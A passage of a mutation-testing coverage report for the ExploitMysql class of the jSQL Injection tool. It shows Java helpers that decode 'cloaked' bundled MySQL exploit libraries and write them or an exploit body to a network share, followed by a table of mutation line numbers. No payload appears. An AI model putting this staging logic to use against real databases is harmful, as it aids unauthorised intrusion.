471 | Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8)) | |
472 | ), | |
473 | new String[]{ StringUtils.EMPTY }, | |
474 | false, | |
475 | 1, | |
476 | MockElement.MOCK, | |
477 | ResourceAccess.FILE_READ | |
478 | ); | |
479 | } | |
480 | ||
481 | private static List<String> toHexChunks(String filename) throws JSqlException { | |
482 | try { | |
483 | byte[] fileData = ExploitMysql.uncloak(filename); | |
484 |
1
1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE |
return StringUtil.toHexChunks(fileData); |
485 | } catch (IOException e) { | |
486 | throw new JSqlException(e); | |
487 | } | |
488 | } | |
489 | ||
490 | private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException { | |
491 | try { | |
492 | byte[] fileData = ExploitMysql.uncloak(nameLibrary); | |
493 | Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary); | |
494 | try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) { | |
495 |
1
1. copyLibraryToShare : removed call to java/io/FileOutputStream::write → NO_COVERAGE |
stream.write(fileData); |
496 | } | |
497 | } catch (IOException e) { | |
498 | throw new JSqlException(e); | |
499 | } | |
500 | } | |
501 | ||
502 | private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException { | |
503 | Path path = Paths.get(pathFile); | |
504 | try { | |
505 | Files.write(path, bodyExploit.getBytes()); | |
506 | } catch (IOException e) { | |
507 | throw new JSqlException(e); | |
508 | } | |
509 | } | |
510 | ||
511 | private static byte[] uncloak(String nameLibrary) throws IOException { | |
512 | byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar | |
513 | ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak") | |
514 | ).readAllBytes(); | |
515 | fileData = StringUtil.uncloak(fileData); | |
516 |
1
1. uncloak : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::uncloak → NO_COVERAGE |
return fileData; |
517 | } | |
518 | ||
519 | public ModelYamlMysql getModelYaml() { | |
520 |
1
1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE |
return this.modelYaml; |
521 | } | |
522 | } | |
Mutations | ||
46 |
1.1 2.2 |
|
66 |
1.1 |
|
67 |
1.1 |
|
68 |
1.1 |
|
69 |
1.1 |
|
71 |
1.1 |
|
77 |
1.1 2.2 |
|
79 |
1.1 |
|
80 |
1.1 |
|
81 |
1.1 |
|
82 |
1.1 |
|
87 |
1.1 |
|
91 |
1.1 |
|
95 |
1.1 |
|
98 |
1.1 |
|
105 |
1.1 |
|
112 |
1.1 |
|
116 |
1.1 |
|
134 |
1.1 |
|
135 |
1.1 |
|
148 |
1.1 2.2 |
|
154 |
1.1 |
|
157 |
1.1 |
|
158 |
1.1 |
|
166 |
1.1 2.2 |
|
175 |
1.1 2.2 3.3 |
|
177 |
1.1 |
|
181 |
1.1 |
|
186 |
1.1 |
|
188 |
1.1 |
|
193 |
1.1 |
|
199 |
1.1 |
|
203 |
1.1 |
|
205 |
1.1 |
|
212 |
1.1 |
|
216 |
1.1 |
|
220 |
1.1 |
|
221 |
1.1 |
|
224 |
1.1 |
|
232 |
1.1 2.2 |
|
233 |
1.1 |
|
244 |
1.1 2.2 3.3 |
|
246 |
1.1 |
|
253 |
1.1 |
|
256 |
1.1 2.2 |
|
258 |
1.1 |
|
259 |
1.1 |
|
261 |
1.1 |
|
263 |
1.1 |
|
277 |
1.1 |
|
280 |
1.1 2.2 |
|
285 |
1.1 |
|
293 |
1.1 |
|
296 |
1.1 2.2 |
|
300 |
1.1 |
|
309 |
1.1 |
|
313 |
1.1 |
|
335 |
1.1 |
|
338 |
1.1 |
|
347 |
1.1 |
|
351 |
1.1 |
|
357 |
1.1 2.2 |
|
367 |
1.1 |
|
375 |
1.1 |
|
380 |
1.1 |
|
393 |
1.1 |
|
404 |
1.1 |
|
410 |
1.1 |
|
421 |
1.1 |
|
423 |
1.1 |
|
428 |
1.1 |
|
429 |
1.1 |
|
430 |
1.1 |
|
431 |
1.1 |
|
436 |
1.1 |
|
460 |
1.1 |
|
461 |
1.1 |
|
462 |
1.1 |
|
463 |
1.1 |
|
468 |
1.1 |
|
484 |
1.1 |
|
495 |
1.1 |
|
516 |
1.1 |
|
520 |
1.1 |